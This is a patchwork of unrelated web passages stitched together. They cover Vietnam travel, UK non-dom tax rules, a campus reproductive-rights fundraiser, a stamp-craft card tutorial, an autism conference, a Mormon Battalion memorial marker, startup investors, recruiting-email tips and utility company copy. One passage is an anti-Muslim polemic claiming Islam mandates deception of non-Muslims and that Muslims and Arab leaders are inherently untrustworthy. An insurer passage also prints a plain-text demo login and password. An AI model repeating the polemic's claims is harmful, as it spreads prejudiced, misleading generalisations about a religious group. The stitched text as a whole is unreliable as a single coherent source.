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By Southeast Asia specialist Will
Hanoi, Saigon and Halong Bay are the justifiable celebrities of many tours, but Vietnam's small touches are just as rewarding – a morning's visit to the Cai Rang floating market on the Mekong Delta or trekking around the remote farming communities north of Hanoi, where life ticks to the cycle of the rice harvest.
And, with a bit of know-how, Hanoi, Saigon and Halong can take on different perspectives: Saigon from the back of a Vespa after dark, Hanoi in the company of a street food expert and Halong from the window of a sea plane.
The tastes of Hanoi
Street food in Hanoi
Vietnamese food is a real highlight in itself, and it changes as you go through Vietnam from north to south. Hanoi is the city that wakes up first in Vietnam and morning sees the locals queueing at cafés for pho noodle soup, a breakfast pick-me-up of beef or chicken spiced with ginger. Once served, the pho is devoured from tables that sprawl over the sidewalks, and you can join in the ritual on an early-bird tour of Hanoi.
Street food in Hanoi is often the most satisfying, and you can also accompany a local food blogger on a tour that showcases some of the foods found on the market stalls. Among other things, I tried banana flowers, bang tom (shrimp-fried pancakes) and Vietnam's fast food, banh mi (baguettes filled with pâté, cucumber, herbs and chilli), washed down with local beer and sweet Vietnamese coffee.
Halong Bay – by boat or plane
Seaplane flight over Halong Bay
The lure of Halong Bay for the many travellers who take to its waters is a combination of a trip on a traditional junk boat and the scenery – limestone karst islands jutting out of the water, some up to 100m tall. Despite the inevitable congestion this UNESCO World Heritage Site suffers from at sea level, touring the bay by boat is still a highlight.
And, it's now possible to leave the crowds and appreciate the landscape from a totally different vantage on a seaplane flight over the bay, still tagging on a boat trip at the end after landing in the marina. Boarding the seaplane at Hanoi skips the three-hour car journey to Halong Bay in favour of a 40-minute flight.
Tailor's shops and bicycle tours in colonial Hoi An
Hoi An riverside
You can't walk down a street in Hoi An without spotting a tailor's shop, a legacy of this old trading port on Vietnam's central coast. Influences from Hoi An's days as a merchants' city are still very evident in the Chinese and French architecture.
The fabrics used by the tailors are as good as you'll find anywhere, but suits and dresses are run up for a fraction of the price. Turnaround is quick: your first fitting within 24 hours and a finished garment a day later.
The old areas in Hoi An are compact and pedestrianised and most of the hotels will supply bikes for getting around. Cycle down any of the alleyways that lead off the main thoroughfares and you could end up by the river, at a market or find a café or restaurant that's hidden away.
Of Indochina's temples, Angkor Wat in Cambodia gets the headlines but it's pre-dated by Mỹ Sơn, 40 minutes outside Hoi An. Both complexes are of a similar style, and if your trip allows I would go first to Mỹ Sơn and then to Angkor for a chronological introduction to the temple-building achievements of the Cham people.
Quiet beaches on Phu Quoc Island
Phu Quoc beach and fishing community
Located off the south coast of Vietnam, and actually closer to Cambodia, Phu Quoc is an island where the beaches are a quiet contrast to the central beaches of Vietnam.
A new airport has made the island much more accessible, and the most isolated beaches - palm-lined fine white-sand - are a 20-minute drive away. Most beaches only have one resort, and it's rare to be in a hotel in Phu Quoc and look out and see another.
You don't need to venture too far in to the pristine waters before you can look down and see small fish weaving and darting in the water around your feet.
Phu Quoc is also a working island. The fishermen haul in their catch in the early morning and the local food speciality is barbequed seafood cooked on the beach.
Villages and rice paddies of Mai Chau
Corn and paddy fields in Mai Chau
In Mai Chau Valley, a three-hour drive up and over the mountains from Hanoi, the centuries-old pattern of life for the White Thai inhabitants is bound around the twice-annual rice harvest.
Not many travellers get to see these local villages and their surrounding rice paddies, best visited just before harvest in October/November or again in April when the paddies, drunk from the rains, have taken on a near-luminous shade of green.
The local people take great pride in the strong wine they make from their rice and corn crops, and they'll happily invite you into their homes to try it. A little note of warning: I was offered a glass at ten in the morning and it's considered bad manners to decline. A typical house is built on stilts, as a flooding precaution, with the outside space below used for cooking and keeping the animals.
Hillside markets in Northern Vietnam
A market vendor in the authentic markets of Northern Vietnam
Lively local markets take place in and around the northern hill town of Sapa - a train ride from Hanoi heading north-west - on Tuesdays, Wednesdays and Thursdays, and over weekends (Saturdays being the busiest).
While most visitors restrict themselves to touring the markets within 45 minutes of Sapa, I'd suggest journeying further afield – up to an hour and a half – to find the more authentic markets. Here, you'll be surrounded by the local people, who wear bright, embroidery-embellished traditional dress, who've come down from the hills to trade produce and tools.
Further east from Sapa, the conical mountains of Ha Giang provide the most unspoiled landscape in Vietnam. This is Vietnam at its most untamed, home to weekly markets and a rural existence unchanged for centuries.
Vibrant Saigon by night on a Vespa
Scooters in Saigon
As Hanoi slumbers, Saigon ignites in the evenings, powered by the noise of a million mopeds, which far outnumber the cars on Saigon's streets.
Vespa tours take in the outer reaches of the city, away from the crowded central District 1. Sitting on the back of a bike, weaving through the traffic, is an experience I'll long remember. Your driver drops you at cafés, street food stalls and bars, where you join up with your guide who's been following behind.
The food is varied and adventurous (such as the pleasantly surprising fried frog I sampled at one local café). This was followed by a class in making Vietnamese spring rolls under the tutelage of a street vendor.
As the night grows longer, your guide will lead you on to try local beer and coffee and listen to live music. And, if you're game, you can end the night in a more upbeat club, or be chaperoned back to your hotel, in my case a little windswept but very exhilarated.
Cruise the Mekong and see the floating markets
The Cai Rang floating market in Can Tho
Can Tho is the major hub city in the Mekong Delta and from where converted rice barges, now private floating hotels, depart down the river. Spend two days and one night on board accompanied by a local guide, stopping to explore the villages along the way.
You're awoken at daybreak on the second morning by the sounds of the Cai Rang floating market, my highlight of the Delta. Transferring to a smaller boat, you'll navigate through the gaps between the hundreds of goods-laden boats that converge to trade, forming the biggest example of a floating market along the Delta.
Sometimes four or five boats will line up to do business, traders shouting and gesturing as they haggle. You can partake and barter to buy breakfast or an iced coffee – mine was presented, boat-style, in a plastic bag with a straw.
Explore Phong Nha-Ke Bang National Park
Hang En cave in Phong Nha-Ke Bang National Park
It took years to map out the epic cave network in the Phong Nha-Ke Bang National Park. Now open to visitors, adventurers can take on a seven-night expedition into the caves, or you can opt, as I did, for the two-day trek with an overnight camp at Hang En, the world's third-largest known cave.
The trek starts down river valleys and through villages, before entering the caves. Hang En is over 100 metres high and, such is its vastness, has its own beach – where the camp is set up - and a river running through it. The evening meal is a barbeque on the sand.
The caves are accessed from the town of Dong Hoi, best reached by air from Hanoi or Saigon.
Staying with the Co Tu on a homestay at Bho Hoong
A young child in Bho Hoong village
In the foothills of the Truong Son Mountains lies the village of Bho Hoong. Around 39 miles from Hoi An, it's home to the Co Tu minority people, and you can spend the night with them on a homestay. The accommodation is one of five traditionally styled bungalows.
The evenings are full of socialising with the locals. The town inhabitants come together to eat communally and take it in turns to cook meals. With something different on the menu each night, it's likely to be one of the most authentic meals you have in Vietnam.


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In July 2015, the Chancellor announced his intention to abolish permanent non-dom status for income tax and capital gains tax with effect from April 2017. Details on these proposals, which first slipped out on 21 September in the form of a Consultation Document ("Condoc"), only to be rapidly removed from HM Treasury's website, are summarised below. The … Continue reading Non-Dom changes – details slip out
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The UK transfer of assets abroad (TOAA) tax regime is designed to prevent individuals using overseas structures to shelter income from UK tax. An example would be an individual who subscribes for shares in an offshore company, arranges for that company to acquire an income-producing asset and accumulate the income from that asset offshore. The … Continue reading Investing abroad – refinement of new exemptions from UK anti-avoidance
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Following consultation throughout the summer of 2011, and the publication of draft legislation in December 2011, legislation will be introduced in the Finance Bill 2012 (which will take effect from 6 April 2012) to make certain changes to the taxation of UK-resident non-UK domiciled individuals who elect to be taxed on the remittance basis. In … Continue reading Non-domiciled individuals
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By Kristen Gell, Spring 2015 Choice Out Loud Campus Representative at the University of Richmond. Connect with Kristen and the Students United for Reproductive Justice (SURJ) crew on Facebook!
The month of April has been a busy end of the semester for SURJ! We have been in the final stages of fundraising for the Richmond Reproductive Freedom Project (RRFP) as a part of their annual Bowl-a-thon event.
RRFP is an all-volunteer, grassroots abortion fund whose mission is to further reproductive justice by providing practical and financial support for abortion services in Virginia and surrounding communities. They strive to be a resource in the community by engaging in grassroots advocacy for the full spectrum of reproductive rights.
We first learned about RRFP through the clinic defense our members periodically participate in. As an organization, SURJ is constantly looking for ways in which we can make a difference and get involved in the community.
Raising money for RRFP seemed like the perfect way to end the year! In order to raise money, we decided to make vagina and penis chocolate pops to sell at UR. We set up a booth in the commons with the pops, attractive flyers, and the usual NARAL swag. The pops were attention grabbing, to say the least. We thought it was important to include both penises and vaginas, since full reproductive justice benefits everyone, not just women!
In addition to funds raised from the pops, we also received private donations which will go towards our SURJ Bowl-a-thon fundraising efforts as well. While we have yet to attend the event, our members are certainly looking forward to a great night filled with great people!
Besides fundraising for Bowl-a-thon, we also published our Kristen Zine 3 of the year. This issue highlighted abortion clinics in the Richmond area as well as RRFP and Bowl-a-thon. It was distributed the week before finals in the packed libraries and available to passersby as we sold pops!
All in all, my experience being a campus representative for NARAL Pro-Choice VA has been extremely rewarding. As an organization, SURJ has been able to step beyond the campus scene and engage in the Richmond community through visits to the capitol, board of health meetings, clinic defense, and now Bowl-a-thon. I've had the opportunity to make so many friends on campus and meet great activists in the Richmond area who I look forward to working with for years to come.
NARAL has provided both myself and SURJ with the tools to expand our organization and further our outreach, which I know all of our members are thankful for. Their aid has been invaluable and the UR campus community has benefited greatly this past year!


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The Million Dollar Question
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Today's card is one that I made for a class earlier this year. I CASEd it from a card I received in a swap. I don't have the card with me right now, so I can't remember if there was a name on it. I loved the layout she used, and I just changed it up a little bit by using a different DSP and added Daffodil Delight to the color scheme.
I stamped the waves from the Oh, Whale stamp set (p. 29 in Spring Catalog) on the card using Marina Mist and Pacific Point ink onto the right side of a piece of Whisper White card stock. I then attached a strip of Sunshine & Sprinkles DSP (p. 28) to the left side of the piece. I attached it to a slightly larger piece of Daffodil Delight, and then attached it all to the Melon Mambo card base. I die-cut the Melon Mambo scallop circle using the largest scallop circle in the Perfect Pennants Bigz L Die (p. 193). I then die-cut the Marina Mist circle using the 3" Circle Die (p. 193). I stamped the waves onto the bottom of the circle using Marina Mist ink. I then embossed the circle above the waves with the Cloudy Day Impressions Folder (p. 28 in Spring Catalog). I attached the blue circle to the pink scallop circle, and then attached it to the left-side of the card, lining the waves up with the ones on the card.
I stamped the whale onto a scrap of Whisper White card stock in Pacific Point ink, and die-cut it out with the Happy Whale Clearlits die (p. 29) I then die-cut the water spout, heart, and anchor with the same Happy Whale die. I attached the heart onto the whale, and then attached it all to the blue circle. I then attached the water spout above the whale with Multipurpose Glue (p. 177).
I then stamped the greeting from the Oh, Whale! set onto a piece of Whisper White card stock in Melon Mambo ink. I punched the greeting out with the Modern Label Punch (p. 183), and attached it at an angle under the right, bottom side of the whale. I then attached the anchor onto it with a little Glue Dot (p. 177) .
Stamps: Oh, Whale stamp set
Ink: Pacific Point, Marina Mist, and Melon Mambo Classic pads
Paper: Melon Mambo, Daffodil Delight, Marina Mist, and Whisper White card stock; Sunshine & Sprinkles DSP
Accessories: Big Shot die-cutting machine, Cloudy Day Impressions folder, Happy Whale Clearlits die, Perfect Pennant Bigz L die, Modern Label Punch, Multipurpose Glue, Glue Dots


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You may remember how, in all my winter excitement, I convinced my parents to join us on our summer holidays this year. In January began our hunt for a relaxing retreat away on a secluded but beautiful spot of Ireland. Low and behold a Wexford self catering house awaited us in Kilmore Quay. It may be weeks away, but I'm already thinking about what to pack. In my head we're going to the Algarve and expecting 25° heat. The holiday essential list is long. Getting longer by the minute when I add in the favourite toys and books which can not be forgotten alongside the mountains of clothes which need to be brought. As you can see, I've mostly been thinking about what the kids need but there are a few more holiday essentials we all end up forgetting.
5 Free Days Out in Dublin
We are finally on another weeks holidays! Thank Pete for annual leave. Working full time really makes B and I appreciate the days we have off with A. We've been planning this week since the beginning of July and coming up with ideas and fun things to do each day. Yes, it is another Staycation. And why not? There are so many fantastic things for us to do. Money is a smidge on the tight side as we are getting some essential maintenance and upgrades done on our house. Never fear! We have come up with some really fun and cheap days out for next week. We are blessed with so many things to do! Here are our top five free Fun Days Out in North County Dublin and some ideas if you have a bit of pocket money handy.
4 Things my Daughter Taught me this Weekend
This weekend has been the first real Summer weekend we've had as a family. The weather has only just picked up and because last year was full of house hunting, house moves (twice) and stress we're only now feeling the benefit of real life and relaxing Summer days.
A has taught me a lot in such a few short days. She's an incredible child, quick witted, independent and smart. If I follow her lead in life, I'll go far I reckon. Just watching her this weekend has made me realise a lot about how I should feel as a person and a parent.


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Joining THJHA is easy–and being a junior historian is fun!
THJHA clubs plan their own activities and schedules, with assistance from the THJHA program coordinator as needed. Some clubs meet monthly as an extracurricular activity. Others function as elective classes, enrichment programs, as part of a historic site's junior docent program, or even as a school's entire fourth grade. Clubs might focus on community service, leadership and civics, exploring primary sources, field trips, THJHA Annual Contest projects, or particular history themes. There are endless possibilities.
Each school year, club advisers must submit an online membership application, which you can find below.
Student membership benefits include:
- Copies of Tar Heel Junior Historian, a magazine published twice a year (up to 80 magazines per club)
- THJHA membership cards and stickers
- Opportunities to participate in the THJHA Annual Convention and annual THJHA history project contests, with the chance to have award-winning work displayed in the museum for a year
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- Access to lesson plans and educational resources based on the magazine and other THJHA focuses
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- (noun) the state of being important, famous, or noticeable; "she came to prominence as an artist in the 1960s"
- (noun) the fact or state of projecting from something; "radiographs showed enlargement of the right heart with prominence of the pulmonary outflow tract"
- (noun) a thing that projects from something, such as a projecting feature of the landscape or a protuberance on a part of the body; "the steep rocky prominence resembled a snow-capped mountain"
- (astronomy) a stream of incandescent gas projecting above the sun's chromosphere.
Prominence (प्रोमिनेंस / प्रोमीनेंस / प्रॉमिनेंस) meaning in Hindi (English to Hindi meaning)
- प्रकटता, प्रख्याति, प्रमुखता, प्रसिद्धि, प्राधान्य, विशिष्टता, शोहरत, ख़्याति, मुख्यता, विशिष्ठता, ख़्याति, आगे निकला हुआ भाग, बहिर्गत भाग, उभार, ऊंचाई, उत्सेध, सौर ज्वाला
Prominence origin
- late 16th century (denoting something that juts out): from obsolete French, from Latin prominentia'jutting out', from the verb prominere
Prominence in a sentence (word usage in recent Hindu newspaper)
- As cannabis is rising to prominence, investors are turning their eyes to industry opportunities that have the best long-term potential.
- New food guide set to challenge prominence of meat, dairy industries.
- Former defence minister George Fernandes first shot into national prominence when he defeated Congress stalwart S K Patil.
- Football Returns to National Prominence.
- Blockchain came to prominence in 2009 as the underlying technology of Bitcoin and subsequently the wider cryptocurrency landscape.
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You might have added significantly to your people skills, where previously your CV was more angled towards your qualifications. As your experience develops, it's important to ensure that the balance of your CV presents the best reflection of the person you are now, the skills you have acquired or enhanced, and your potential value to a new employer.


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Firstly I'd like to apologise for the lack of posts as of late – I have essentially been offline for the past couple of months getting ready for my first semester exams and whatnot, but I'm pleased to say that they are all over! Well… Until the end of the second semester anyways! I've got …
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I've been meaning to set up a blog for a while now and have finally got round to do it. The main reason for me wanting to do so is that it shall hopefully allow myself to collate my thoughts etc… I've not had much experience at blogging, but from the little I've had I …


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Greenhouses for Hydroponics
With the increasing cost of fresh produce, growing your own fruit and vegetables makes more and more sense. Why not get yourself a hydroponic greenhouse and enjoy home-grown goods, packed full of vitamins and minerals, year-round?
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Islam mandates deception [taqiyya] when Muslims deal with non-Muslims. Muslims are allowed to lie to unbelievers if the lie is for the protection of Islam or the furthering of Islamic goals and objectives. In the cause of Islamic expansionism Muslims falsely inform non-Muslims that: Islam is a "religion of peace", the Quran mandates pluralism of religions, "jihad" is only about an "inner spiritual struggle", unprovoked violence against non-Muslims is un-Islamic, immigrant Muslims wish to fully integrate into Western countries by adopting democratic principles instead of Sharia Law, Muhammad was a man of peace, etc. None of these things are true. Taqiyya is not about truth.
There are two forms of lying to non-believers that are permitted under certain circumstances, taqiyya and kitman.
Taqiyya - Saying something that isn't true.
Kitman - Lying by omission. An example would be when Muslim apologists quote only a fragment of verse 5:32 (that if anyone kills "it shall be as if he had killed all mankind") while neglecting to mention that the rest of the verse (and the next) mandate murder in undefined cases of "corruption" and "mischief."
Though not called Taqiyya by name, Muhammad clearly used deception when he signed a 10-year treaty with the Meccans that allowed him access to their city while he secretly prepared his own forces for a takeover. The unsuspecting residents were conquered in easy fashion after he broke the treaty two years later, and some of the people in the city who had trusted him at his word were executed.
Another example of lying is when Muhammad used deception to trick his personal enemies into letting down their guard and exposing themselves to slaughter by pretending to seek peace. This happened in the case of Ka'b bin al-Ashraf (as previously noted) and again later against Usayr ibn Zarim, a surviving leader of the Banu Nadir tribe, which had been evicted from their home in Medina by the Muslims.
At the time, Usayr ibn Zarim was attempting to gather an armed force against the Muslims from among a tribe allied with the Quraish (against which Muhammad had already declared war). Muhammad's "emissaries" went to ibn Zarim and persuaded him to leave his safe haven on the pretext of meeting with the prophet of Islam in Medina to discuss peace. Once vulnerable, the leader and his thirty companions were massacred by the Muslims with ease, belying the probability that they were mostly unarmed, having been given a guarantee of safe passage (Ibn Ishaq 981).
Such was the reputation of Muslims for lying and then killing that even those who "accepted Islam" did not feel entirely safe. The fate of the Jadhima is tragic evidence for this. When Muslim "missionaries" approached their tribe one of the members insisted that they would be slaughtered even though they had already "converted" to Islam to avoid just such a demise. However, the others were convinced that they could trust the Muslim leader's promise that they would not be harmed if they simply offered no resistance. (After convincing the skeptic to lay down his arms, the unarmed men of the tribe were quickly tied up and beheaded - Ibn Ishaq 834 & 837).
Today's Muslims often try to justify Muhammad's murder of poets and others who criticized him at Medina by saying that they broke a treaty by their actions. Yet, these same apologists place little value on treaties broken by Muslims. From Muhammad to Saddam Hussein, promises made to non-Muslim are distinctly non-binding in the Muslim mindset.
Leaders in the Arab world routinely say one thing to English-speaking audiences and then something entirely different to their own people in Arabic. Yassir Arafat was famous for telling Western newspapers about his desire for peace with Israel, then turning right around and whipping Palestinians into a hateful and violent frenzy against Jews.
The 9/11 hijackers practiced deception by going into bars and drinking alcohol, thus throwing off potential suspicion that they were fundamentalists plotting jihad. This effort worked so well, in fact, that even weeks after 9/11, John Walsh, the host of a popular American television show, said that their bar trips were evidence of 'hypocrisy.'
The near absence of Qur'anic verse and reliable Hadith that encourage truthfulness is somewhat surprising, given that many Muslims are convinced that their religion teaches honesty. In fact, it is because of this ingrained belief that many Muslims are quite honest. When lying is addressed in the Qur'an, it is nearly always in reference to the "lies against Allah" - referring to the Jews and Christians who rejected Muhammad's claim to being a prophet.
Finally, the circumstances by which Muhammad allowed a believer to lie to a non-spouse are limited to those that either advance the cause of Islam or enable a Muslim to avoid harm to his well-being (and presumably that of other Muslims as well). Although this should be kept very much in mind when dealing with matters of global security, such as Iran's nuclear intentions, it is not grounds for assuming that the Muslim one might personally encounter on the street or in the workplace is any less honest than anyone else.


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Parents can learn new ways to support children with neurodevelopmental differences at "The Power and Promise of Neurodevelopmental Approaches" March 13-15. The conference is hosted by the Profectum Foundation, a group of parents and practitioners dedicated to training and research.
"Our hope is to bring world-class researchers to the conference and show parents and professionals how to better understand their children with special emotional, developmental or physical needs," says clinical psychologist Mona Delahooke, Ph.D., a Profectum member who practices in Arcadia. The conference is designed to support parents of children with special needs including, but not limited to, autism.
The conference will be weighted equally toward parents and professionals. "All presentations by researchers will be followed by video-based examples of how to work with your individual child if you are a parent," Delahooke says. Friday's program will emphasize infants, toddlers and school-age children. Saturday will focus on teens and young adults, and how to support growth and independence as children transition to adulthood. Sunday will feature three-hour workshops that delve into critical developmental skills such as:
- Supporting communication in your child,
- Facilitating peer interactions
- Nurturing a joyful and solid relationship with your child,
- Helping your child engage in pretend play, and
- Preparing IEP goals.
Parents attending the conference can expect to learn about the Developmental, Individual-differences, Relationship-based (DIR) model of therapy. "This is a model supported by current knowledge of the importance of supporting relationships and respecting children's unique differences," says Delahooke. "This model stands in contrast to behavioral approaches that only look at behaviors (punishment and reward systems in shaping children's behaviors). Behavioral approaches have limitations as they do not consider the critical impact of children's emotions, sensory integration and brain development. Parents can learn how to support emotional regulation (staying calm and alert) in their child."
Professionals, parents and individuals with special needs will discuss:
- Ways to customize treatment for each child and family,
- How neuroscience can provide a treatment roadmap and a new way to understand how to prioritize therapy goals,
- How sensory processing is linked to emotions, communication and growth; and
- What it means to presume competence and value neurodiversity.
Parents will have the opportunity to network and meet professionals and other parents in this engaging and supportive weekend.
The conference takes place at the Pasadena Convention Center, 300 E. Green St. Registration is $195 per day, or $395 for all three days. Learn more at www.profectum.org.


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Co-op made the announcement at its farming conference in Manchester
Co-op has announced it has signed up to the National Farmers Union at its farming conference today (September 20) in Manchester.
The pledge requires retailers to commit to fair treatment of suppliers, advance planning on promotions and a commitment to increasing the amount of British produce it stocks.
Co-op has also committed to only stock British pork and lamb all year round from May 2017.
Michael Fletcher, the Co-op's commercial director, said: "We know our customers care about the provenance of their food and are keen to champion British products wherever they can.
"By signing up to this charter, we're giving them further assurance on the transparency of our supply chains and making it easier than ever for them to support British farmers and growers."
Guy Poskitt, NFU Horticulture Board Vice Chairman, said: "In a week that saw farmers and politicians come together in Westminster to Back British Farming, the Co-op's commitment to our industry shines through.
"It is a real step forward when a retailer makes two commitments to British farming in one week.
"With Co-op's Fruit and Veg commitment, our British growers have a bright and prosperous future, one that they can thrive on and one that continues to offer British consumers high quality great British food."
Matt Hood, trading director for fresh and frozen at Co-op said: "We are not the first to sign up to it. But we can be the first to do it properly.
"We believe we can tick the boxes of all the things NFU ask for."


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San Diego in San Diego County, California — The American West (Pacific Coastal)
In Memory of the Mormon Battalion
Albert Warren Dunham
Private – Company B
23 May 1828 – 11 May 1847
Lydia Ann Edmunds Hunter
Wife of Captain Jesse Hunter
Company B
22 January 1823 – 26 April 1847
Lydia Hunter and Private Albert Dunham were buried in a cemetery in the La Playa area of Point Loma and were moved to Fort Rosecrans National Cemetery with other military personnel in 1887.
Location. 32° 41.374′ N, 117° 14.664′ W. Marker is in San Diego, California, in San Diego County. Memorial can be reached from Cabrillo Memorial Drive. Marker is in northeast section of Fort Rosecrans National Cemetery. Touch for map. Marker is in this post office area: San Diego CA 92152, United States of America. Touch for directions.
Other nearby markers. At least 8 other markers are within walking distance of this marker. In Memory of the Heros of the Battle of San Pasqual (here, next to this marker); Fort Rosecrans National Cemetery (about 400 feet away, measured in a direct line); First Holy Mass Celebrated in California Post Chapel, Building 213 (approx. 0.3 miles away); USS Hoel * USS S. B. Roberts * USS Johnston (approx. 0.3 miles away); USS Gambier Bay CVE 73 and Composite Squadron VC-10 (approx. 0.3 miles away); Moreton Bay Fig (approx. half a mile away); Buque Escuela Juan Sebastian de Elcano (approx. 0.6 miles away). Touch for a list and map of all markers in San Diego.
Categories. • Cemeteries & Burial Sites • War, Mexican-American •
More. Search the internet for In Memory of the Mormon Battalion.
Credits. This page was last revised on June 16, 2016. This page originally submitted on April 9, 2015, by Bill Kirchner of Tucson, Arizona. This page has been viewed 362 times since then and 3 times this year. Photos: 1, 2, 3, 4. submitted on April 9, 2015, by Bill Kirchner of Tucson, Arizona. 5, 6, 7, 8. submitted on June 20, 2015, by Allen C. Browne of Silver Spring, Maryland. • Andrew Ruppenstein was the editor who published this page.


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What's a miracle anyway?
For the past two weeks I've been glued to the TV wishing for a miracle for the families of Flight 370. In truth, I've been waiting for some miracle or another for most of my life.
This week I came to a realization: the miracle is that we live.
Once born, every last one of us dies. But in between being born and dying we get a gift.
For some it is a sweet comfortable time; some end up on a rocky ride. Our lives are lived in peace, in wars; in mindfulness, in oblivion; in isolation, in the midst of masses. We live in beauty and grace; we live in misery and squalor. If we're lucky we live through good and bad and everything in between.
Some lives last a century and some are very brief. That we got here at all is the miracle. We're all leaving town; just some of us have an earlier flight.
I need to celebrate the miracle.
We live. I live. And as I live, I will always remember those who were here with me, especially the ones I loved and was lucky enough to share time with. I am grateful for them, for dazzling days with friends, for the sun and the moon, for the privileges I have known, for the wind that makes me shiver and even for oceans that eat up airplanes and hope. For every lesson in life, both cruel and compassionate, and for every day of my time here, I feel blessed.
So how do I live when my heart's been broken? How do I live after losing my daughter?
It's a miracle.
What is a miracle to you?


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Help us run poverty into the ground! We have guaranteed places in the London Marathon, the Royal Parks Half Marathon, and the British 10k Westminster. Supporters also choose to run other events for us too. Join our team today.
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We would not be able to continue our work without the commitment, determination and enthusiasm of our fundraising champions. Thank you for running, climbing, cooking, cycling and doing all you can to help spread the word and raise vital funds.
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We are supported by a range of investors who believe our approach will enable biology to provide a solution to some of the world's most challenging problems.
Providence Investment Company
Providence Investment Company is the family office of Hermann Hauser and, together with Cambridge Consultants, is the founding investor of Evonetix.
Distinguished as a science-based innovator and serial-entrepreneur Hermanns ventures have been at the forefront of UK innovation. A major contributor to the global technology and growth agendas and an influential member of senior policy making bodies. An inspiration and role-model for generations of entrepreneurs who has been directly involved in many companies, providing enthusiasm, mentoring, and financing leading to technology based wealth creation at scale.
Cambridge Consultants
Cambridge Consultants is a world-class supplier of innovative product development engineering and technology consulting.
For more than 50 years, Cambridge Consultants has led the way in innovative product development and not only been the development partner of choice to many of the world's leading blue chips, but has also founded an array of ambitious start-up companies.
Data Collective (DCVC)
Data Collective (DCVC) is a venture capital fund that backs entrepreneurs applying deep tech to transform giant industries.
DCVC and its principals have supported brilliant people changing global-scale businesses for over twenty years, helping create tens of billions of dollars of wealth while also making the world a markedly better place.
Draper Esprit
Draper Esprit was founded in 2006 with a mission to back Europe's most ambitious entrepreneurs.
They invest into visionary and growing companies and also have the ability to do direct secondary deals into late stage tech companies as well as buying entire venture capital portfolios.
Morningside Group
Morningside Group was founded in 1986 by the Chan family of Hong Kong, to make private equity and venture capital investments.
The group is managed by investment professionals who are entrepreneurial, have deep industry knowledge and are effective in the local environment in which they operate. In addition to its investment activities, Morningside Group is strongly committed to social responsibility.
Rising Tide
Rising Tide are focused on early-stage but single-mindedly focused on character, commitments and results.
As a collegial partnership with diverse areas of expertise, they seek to team with and help accelerate the growth of visionary companies breaking barriers and innovating in new markets, especially those creating or leveraging technological advancements in Cloud, Data, Artificial Intelligence, Life Sciences & Health, Mobility, Automation & Robotics, Financial Technology, Security, Blockchain, and Mixed Reality.
Civilization Ventures
Civilization Ventures is a venture capital firm focused on cutting edge innovations in exponential health tech and biology that address key opportunities in rapidly growing markets.
Civilization Ventures leverages an extensive network of world-class scientists and clinicians (including half a dozen MDs and PhDs), as well as accomplished founders and CEOs from our portfolio companies, to gain access to and understand the leading innovations in our space. Our network is truly global, with key advisors located in Silicon Valley, Cambridge and NY in the US, as well as Europe and Asia.


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Harnessing the automated emailing functionality of your company's Applicant Tracking System (ATS) can be a powerful way to reach out to candidates and help strengthen your relationship and build trust. Unfortunately, usability is largely ignored in electronic communications because people don't think of email as having a user interface. Don't fall into this trap!! Here are some tips for putting together top notch email communications your candidates will understand and appreciate.
Skip the Fluff
According to usability guru Jacob Nielson, "It has long been a strong usability guideline to be brief when writing for the Web; email writers must be even briefer." Why? In all of the email usability tests Nielson has conducted over the years, he points out the one thing that remains unchanged – email is stressful. People often find the amount of email they receive to be overwhelming, and so their goal is to quickly find the information that is essential and move on.
FROM: Ummm…Who?
The FROM field plays a very important role in helping your ATS email avoid falling prey to the applicant's SPAM filters. To avoid being perceived as "junk" mail or an advertisement, make sure your message is FROM a trusted brand. An example of this might be FROM: "XYZ Company Career Center" or "XYZ Company Recruiting" or "ATS name sent on behalf of XYZ Company Recruiting". According to Nielson, "People simply don't open messages that don't have recognizable sender information."
SUBJECT: Does it have a scent?
It seems the importance of the SUBJECT line of an email is lost on many people. Here are a couple I recently received from different news organizations and groups I subscribe to:
Subject: Please RSVP
To whom and for what?
Subject: They'll listen to us now…
Why? What are we saying?
Subject: Back by Popular Demand
Really? How do I know it's popular if I don't know what it is that's back?
Email subjects are like links on a web page. In order to motivate the user to click the link or open the email, you have to provide what usability types call "informational scent". What does this mean? The subject line needs to provide a strong indication of the content and purpose of the email message. A good example might be, "Job Application UPDATE: Concerning Your Application for XYZ Job with XYZ Company".
MESSAGE BODY: Make it brief and make it matter!
Write the email notification or message with the receiver's priorities in mind. Tell them the things they most want to know first – specifics on the job, how to view their status, how their status may have changed. If they need to take action, what is the action required and how do they proceed? If there is a contact, who is it, how do they contact them, when do they contact them? Details, details, details!!! Also, make sure any really important information appears "above the fold". What is above the fold, you ask? Good question. This means it should be viewable when the message is opened and not require the candidate to scroll down (below the fold) to see it. This is very important when including links and/or buttons the candidate needs to proceed or take action.
Example of Fold
Also, avoid using "HR speak" like acronyms or jargon not recognized by the candidate. Your candidates may not know what a requisition is, and terms like onboarding, assessments, prescreening could mean nothing to them and may just cause confusion. If you are writing for a broad audience, Nielson recommends you write to the 8th grade reading level.
Your ATS can send email updates all day long, but if your candidates don't read them or can't understand them, you've lost a major opportunity to communicate with your applicant pool. It's kind of like owning a Mercedes you never drive.


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Working with you, for life ®
New Fidelity Life Policyholder Account Access: We've just launched our new Fidelity Life Online Account Management website exclusively for Fidelity Life policyholders. Visit our FidelityLife.com Customer Account Log In page for an overview of features. It offers the convenience of 24/7 access to primary policy, payment and contact information. Secured access is limited to Customer Service Representatives and policyholders.
Login: demoagent
Password: life
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We're focused on delivering value by enhancing our position as a leading electricity generator and striving to be Alberta's electricity supplier of choice.
We have two areas of businesses under the ENMAX roof – our regulated and competitive businesses, supported by a strong foundation – the ENMAX team.
In our regulated business,
ENMAX Power supports Calgary's growing needs by maintaining, improving and expanding the city's electricity system, so that families and business can enjoy the confidence of having a safe, reliable source of power.
897,500 metered customers in Alberta
On the competitive side of the house, ENMAX Energy makes up the retail and generation parts of our business, focused on
developing new energy products to meet customer needs, and
growing generation supply, including
natural gas-fuelled plants,
renewable energy solutions, and co-generation alternatives to meet Alberta's electricity demands.
Alberta has been our home for more than 100 years, and in that way, our home is yours too.
Download the print version of our 2014 Annual Report
Even while federal regulations are calling for the retirement of coal plants, demand for electricity in Alberta is expected to grow.
To close this generation gap, over the next 10 years, ENMAX Energy's generation portfolio will continue to shift from aging coal plants to more efficient natural gas-fuelled generation facilities.
We'll accomplish this by increasing our electricity supply by building natural gas-fuelled plants like the Shepard Energy Centre or by purchasing facilities like we did with Balzac and Cavalier in 2014.
Our Corporate Responsibility objectives are driven by the belief that our bottom line lives beyond a ledger sheet, and that the value we deliver is derived from our ability to operate in a responsible and sustainable manner today and in the future.
Have a look at our 2014 Corporate Responsibility infographic, to see our performance metrics associated with our key objectives in the areas of safety, customers, environment, stakeholders, and community.
